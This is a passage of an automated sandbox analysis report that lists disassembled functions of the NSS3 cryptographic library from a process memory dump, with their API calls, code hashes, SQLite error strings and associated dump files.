Instruction ID: ef208a95b515352f2c3fa5d6872a7cd1b39e36e2ada6afe0ae188a792b03181a
Opcode Fuzzy Hash: 7b9fd1984ad5d967e71175924c9922013a85c1b491667e80baf9c192bc3c2b75
Instruction Fuzzy Hash: 3D8148B1F006019BEB049F39DC4166A7BB9BF2531CF148528D96A87B51F731E89ACB81

Function 6C9F4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C9B78F8), ref: 6C9F4E6D

Part of subcall function 6C9909E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C9906A2,00000000,?), ref: 6C9909F8
Part of subcall function 6C9909E0: malloc.MOZGLUE(0000001F), ref: 6C990A18
Part of subcall function 6C9909E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C990A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C9B78F8), ref: 6C9F4ED9

Part of subcall function 6C9E5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C9E7703,?,00000000,00000000), ref: 6C9E5942
Part of subcall function 6C9E5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9E7703), ref: 6C9E5954
Part of subcall function 6C9E5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C9E596A
Part of subcall function 6C9E5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C9E5984
Part of subcall function 6C9E5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C9E5999
Part of subcall function 6C9E5920: free.MOZGLUE(00000000), ref: 6C9E59BA
Part of subcall function 6C9E5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C9E59D3
Part of subcall function 6C9E5920: free.MOZGLUE(00000000), ref: 6C9E59F5
Part of subcall function 6C9E5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C9E5A0A
Part of subcall function 6C9E5920: free.MOZGLUE(00000000), ref: 6C9E5A2E
Part of subcall function 6C9E5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C9E5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F4EB3

Part of subcall function 6C9F4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C9F4EB8,?,?,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F484C
Part of subcall function 6C9F4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C9F4EB8,?,?,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F486D
Part of subcall function 6C9F4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C9F4EB8,?), ref: 6C9F4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F4EC0

Part of subcall function 6C9F4470: TlsGetValue.KERNEL32(00000000,?,6C9B7296,00000000), ref: 6C9F4487
Part of subcall function 6C9F4470: EnterCriticalSection.KERNEL32(?,?,?,6C9B7296,00000000), ref: 6C9F44A0
Part of subcall function 6C9F4470: PR_Unlock.NSS3(?,?,?,?,6C9B7296,00000000), ref: 6C9F44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F4F8F
PK11_UpdateSlotAttribute.NSS3(?,6CACDCB0,00000000), ref: 6C9F4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C9F501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F506B

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: c3f5e53b977d99329aebcb2f1838b485d7570f3473f838d3d92a9aa9b0d0fbb7
Instruction ID: 8bd86787b753c53c2e5b4aec7eba0d3086f5af02c5d44ba489f770d92ec449e5
Opcode Fuzzy Hash: c3f5e53b977d99329aebcb2f1838b485d7570f3473f838d3d92a9aa9b0d0fbb7
Instruction Fuzzy Hash: 0B5107B5D002059BEB119F25EC0169B36B8FF2531CF188535EC2A47A11F731D52ACB92

Function 6C99ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C99ACE2
malloc.MOZGLUE(00000001), ref: 6C99ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C99AD02
TlsGetValue.KERNEL32 ref: 6C99AD3C
calloc.MOZGLUE(00000001,?), ref: 6C99AD8C
PR_Unlock.NSS3 ref: 6C99ADC0
free.MOZGLUE(00000000), ref: 6C99AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C99AE58
free.MOZGLUE(00000000), ref: 6C99AE69
free.MOZGLUE(?), ref: 6C99AE78
PR_Unlock.NSS3 ref: 6C99AE8C
free.MOZGLUE(?), ref: 6C99AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C99AEC7

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 0402bdb9456f8460de9d6e308f8567c79d31e86ca2e4e7d2b2ceecdcf7b38211
Instruction ID: adb17fcc97b29cebfaae6b3f0f2487033555ffc859f5972fcecd54aef48c797b
Opcode Fuzzy Hash: 0402bdb9456f8460de9d6e308f8567c79d31e86ca2e4e7d2b2ceecdcf7b38211
Instruction Fuzzy Hash: 4E518EB0F012168BDF14EF99DC456AE77B8EB1634CF1C4129D814A7A20DB31E959CBD2

Function 6CA74C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CA74CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CA74CFD
sqlite3_value_text16.NSS3(?), ref: 6CA74D44

Strings

bad parameter or other API misuse, xrefs: 6CA74D05
API call with %s database connection pointer, xrefs: 6CA74CF6
out of memory, xrefs: 6CA74C78, 6CA74C9E
another row available, xrefs: 6CA74D20
invalid, xrefs: 6CA74CF1
no more rows available, xrefs: 6CA74D2E
abort due to ROLLBACK, xrefs: 6CA74D27, 6CA74D33
unknown error, xrefs: 6CA74D56

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 83ca9682db76e6a3cdf2e5fb5f18c0881a547940d6929764afdd40987a18b0a4
Instruction ID: f6e7a9dddc2ec009186174981da137e637d193b771a0223e63ffc65aeddb90ac
Opcode Fuzzy Hash: 83ca9682db76e6a3cdf2e5fb5f18c0881a547940d6929764afdd40987a18b0a4
Instruction Fuzzy Hash: 8931687FF04911A7D7284628A9007A5B33A7B92318F1D0129D4645BE16DB61ECD2CFF2

Function 6C9A4880 Relevance: 18.2, APIs: 12, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9A48A2
PORT_NewArena_Util.NSS3(00000800), ref: 6C9A48C4
PORT_ArenaAlloc_Util.NSS3(?,000000BC), ref: 6C9A48D8
memset.VCRUNTIME140(00000004,00000000,000000B8), ref: 6C9A48FB
PORT_ArenaAlloc_Util.NSS3(?,00000018), ref: 6C9A4908
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C9A4947
SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6C9A496C
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C9A4988
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CAC8DAC,?), ref: 6C9A49DE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9A49FD
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C9A4ACB

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Alloc_ArenaError$Arena_Item_$CopyDecodeFreeQuickmemset
String ID:
API String ID: 4201528089-0
Opcode ID: f6049a468187058b0f317387d5833a68ff001ae201d4b816714b7914c71f7335
Instruction ID: 7554241f5a1470a8a562602cf17953d706c80ccadc3b59b53c592a184b1170ac
Opcode Fuzzy Hash: f6049a468187058b0f317387d5833a68ff001ae201d4b816714b7914c71f7335
Instruction Fuzzy Hash: EC511671A003018BEB108FA9ED4179B77E8AF4130CF115139E919ABB81EFB1D45ACF56

Function 6CA72D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CA72D9F

Part of subcall function 6C92CA30: EnterCriticalSection.KERNEL32(?,?,?,6C98F9C9,?,6C98F4DA,6C98F9C9,?,?,6C95369A), ref: 6C92CA7A
Part of subcall function 6C92CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C92CB26

sqlite3_exec.NSS3(?,?,6CA72F70,?,?), ref: 6CA72DF9
sqlite3_free.NSS3(00000000), ref: 6CA72E2C
sqlite3_free.NSS3(?), ref: 6CA72E3A
sqlite3_free.NSS3(?), ref: 6CA72E52
sqlite3_mprintf.NSS3(6CADAAF9,?), ref: 6CA72E62
sqlite3_free.NSS3(?), ref: 6CA72E70
sqlite3_free.NSS3(?), ref: 6CA72E89
sqlite3_free.NSS3(?), ref: 6CA72EBB
sqlite3_free.NSS3(?), ref: 6CA72ECB
sqlite3_free.NSS3(00000000), ref: 6CA72F3E
sqlite3_free.NSS3(?), ref: 6CA72F4C

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 9524a8ef6303db43399cdbf85daa00e2021068ab3e3ac4eca41d782abea7049f
Instruction ID: 898a3c122779a8834dc8d41e2151bcb5089e3b5183141c7cac9e9827abb02002
Opcode Fuzzy Hash: 9524a8ef6303db43399cdbf85daa00e2021068ab3e3ac4eca41d782abea7049f
Instruction Fuzzy Hash: 10618EB9E01205CBEB20CF68D884B9EBBB1BF58358F194128DC55A7701E735E894CBB1

Function 6CA079F0 Relevance: 18.2, APIs: 12, Instructions: 181memorystringthreadCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(000000AB,?,6CA0952D), ref: 6CA07A02

Part of subcall function 6CA00840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA008B4

SECOID_FindOID_Util.NSS3(?,?,?,6CA0952D), ref: 6CA07A36

Part of subcall function 6CA007B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C9A8298,?,?,?,6C99FCE5,?), ref: 6CA007BF
Part of subcall function 6CA007B0: PL_HashTableLookup.NSS3(?,?), ref: 6CA007E6
Part of subcall function 6CA007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA0081B
Part of subcall function 6CA007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA00825

PR_SetError.NSS3(FFFFE005,00000000,?,?,6CA0952D), ref: 6CA07A63
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CA0952D), ref: 6CA07A7D
PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,?,?,6CA0952D), ref: 6CA07A9C
PORT_ArenaGrow_Util.NSS3(?,?,00000000,?), ref: 6CA07AEC
PORT_ArenaAlloc_Util.NSS3(?,00000010), ref: 6CA07B04
SECITEM_CopyItem_Util.NSS3(?,?,00000000,?,?,?,?,?,?,6CA0952D), ref: 6CA07B3C
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,?,?,6CA0952D), ref: 6CA07B6B
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,?,?,6CA0952D), ref: 6CA07B85
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,6CA0952D), ref: 6CA07BB1
PR_GetCurrentThread.NSS3(?,?,6CA0952D), ref: 6CA07BE7

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Arena$Alloc_$Error$FindHashLookupTable$ConstCopyCurrentGrow_Item_Tag_Threadstrlen
String ID:
API String ID: 915756558-0
Opcode ID: 9c569a9f203f87ff574882c269cc7d2df6116064ee480c1aa46b74f4135963de
Instruction ID: febf20a34c167616cf5cb4b5925a4cebd0227f0c3598b791301192c5af874b52
Opcode Fuzzy Hash: 9c569a9f203f87ff574882c269cc7d2df6116064ee480c1aa46b74f4135963de
Instruction Fuzzy Hash: 9E517EB0B013059FE7108F25ED91B6277A1BF4538CF284168E959CBBA1E771E998CB90

Function 6C9C2C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C9C3F23,?,6C9BE477,?,?,?,00000001,00000000,?,?,6C9C3F23,?), ref: 6C9C2C62
EnterCriticalSection.KERNEL32(0000001C,?,6C9BE477,?,?,?,00000001,00000000,?,?,6C9C3F23,?), ref: 6C9C2C76
PL_HashTableLookup.NSS3(00000000,?,?,6C9BE477,?,?,?,00000001,00000000,?,?,6C9C3F23,?), ref: 6C9C2C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C9BE477,?,?,?,00000001,00000000,?,?,6C9C3F23,?), ref: 6C9C2C93

Part of subcall function 6CA4DD70: TlsGetValue.KERNEL32 ref: 6CA4DD8C
Part of subcall function 6CA4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C9BE477,?,?,?,00000001,00000000,?,?,6C9C3F23,?), ref: 6C9C2CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C9BE477,?,?,?,00000001,00000000,?,?,6C9C3F23,?), ref: 6C9C2CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C9BE477,?,?,?,00000001,00000000,?,?,6C9C3F23), ref: 6C9C2CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C9BE477,?,?,?,00000001,00000000,?), ref: 6C9C2CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C9BE477,?,?,?,00000001,00000000,?), ref: 6C9C2D4D
EnterCriticalSection.KERNEL32(?), ref: 6C9C2D61
PL_HashTableLookup.NSS3(?,?), ref: 6C9C2D71
PR_Unlock.NSS3(?), ref: 6C9C2D7E

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: 495c919f582d2854fe4024ae596e54b2e541b2f55ada7a07136647bd59efbad2
Instruction ID: 1c641f6a611be6e502eb3b3b60776635476247b88b4ed891f032ef0fb81f8d3a
Opcode Fuzzy Hash: 495c919f582d2854fe4024ae596e54b2e541b2f55ada7a07136647bd59efbad2
Instruction Fuzzy Hash: F451E876E00605ABDB009F24EC4589A7778FF3935CB088564ED1897B11E731ED59C7E2

Function 6C9B7C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CB02120,6C9B7E60,00000000,?,?,?,?,6CA3067D,6CA31C60,00000000), ref: 6C9B7C81

Part of subcall function 6C924C70: TlsGetValue.KERNEL32(?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924C97
Part of subcall function 6C924C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924CB0
Part of subcall function 6C924C70: PR_Unlock.NSS3(?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924CC9

TlsGetValue.KERNEL32 ref: 6C9B7CA0
EnterCriticalSection.KERNEL32(?), ref: 6C9B7CB4
PR_Unlock.NSS3 ref: 6C9B7CCF

Part of subcall function 6CA4DD70: TlsGetValue.KERNEL32 ref: 6CA4DD8C
Part of subcall function 6CA4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4

TlsGetValue.KERNEL32 ref: 6C9B7D04
EnterCriticalSection.KERNEL32(?), ref: 6C9B7D1B
realloc.MOZGLUE(-00000050), ref: 6C9B7D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9B7DF4
PR_Unlock.NSS3 ref: 6C9B7E0E

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 27fa0eedc0af38c1ab8adc626d3dd8e1c2c3d50834bcea2303ebe46f50412355
Instruction ID: 792829f7abd6b5c24fd08ac4958ee3e1d0469e0c54695dade3472add6a9345b7
Opcode Fuzzy Hash: 27fa0eedc0af38c1ab8adc626d3dd8e1c2c3d50834bcea2303ebe46f50412355
Instruction Fuzzy Hash: EE512775B40200AFDF005F28DC44A6677B9FF66358F15822EEE0467722EB30D459CBA2

Function 6CA07870 Relevance: 18.1, APIs: 12, Instructions: 138stringmemorythreadCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,?,6CA091C5), ref: 6CA0788F

Part of subcall function 6CA007B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C9A8298,?,?,?,6C99FCE5,?), ref: 6CA007BF
Part of subcall function 6CA007B0: PL_HashTableLookup.NSS3(?,?), ref: 6CA007E6
Part of subcall function 6CA007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA0081B
Part of subcall function 6CA007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA00825

PR_SetError.NSS3(FFFFE005,00000000,?,?,6CA091C5), ref: 6CA078BB
PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CA091C5), ref: 6CA078FA
strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CA091C5), ref: 6CA07930
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CA091C5), ref: 6CA07951
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA07964
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CA0797A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CA07988
memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CA07998
free.MOZGLUE(00000000), ref: 6CA079A7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6CA091C5), ref: 6CA079BB
PR_GetCurrentThread.NSS3(?,?,?,?,6CA091C5), ref: 6CA079CA

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Error$Alloc_HashLookupTablememcpy$ConstCurrentFindItem_ThreadZfreefreestrchrstrcmpstrlen
String ID:
API String ID: 1862276529-0
Opcode ID: d9b6c61535e2a8b5600bf9b678dd0c063edc2ffb9904cffa3cafa5db650a24a1
Instruction ID: 5773638a197c5987ad58d1b9af9bccc0707c6afae04367e569144c08124b20e0
Opcode Fuzzy Hash: d9b6c61535e2a8b5600bf9b678dd0c063edc2ffb9904cffa3cafa5db650a24a1
Instruction Fuzzy Hash: 8841D6B2B002019BEB108B75AD49B6777A8BF4539CF180178E818D7B41E771E8DCC6A1

Function 6C924C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924CB0
PR_Unlock.NSS3(?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924D2A
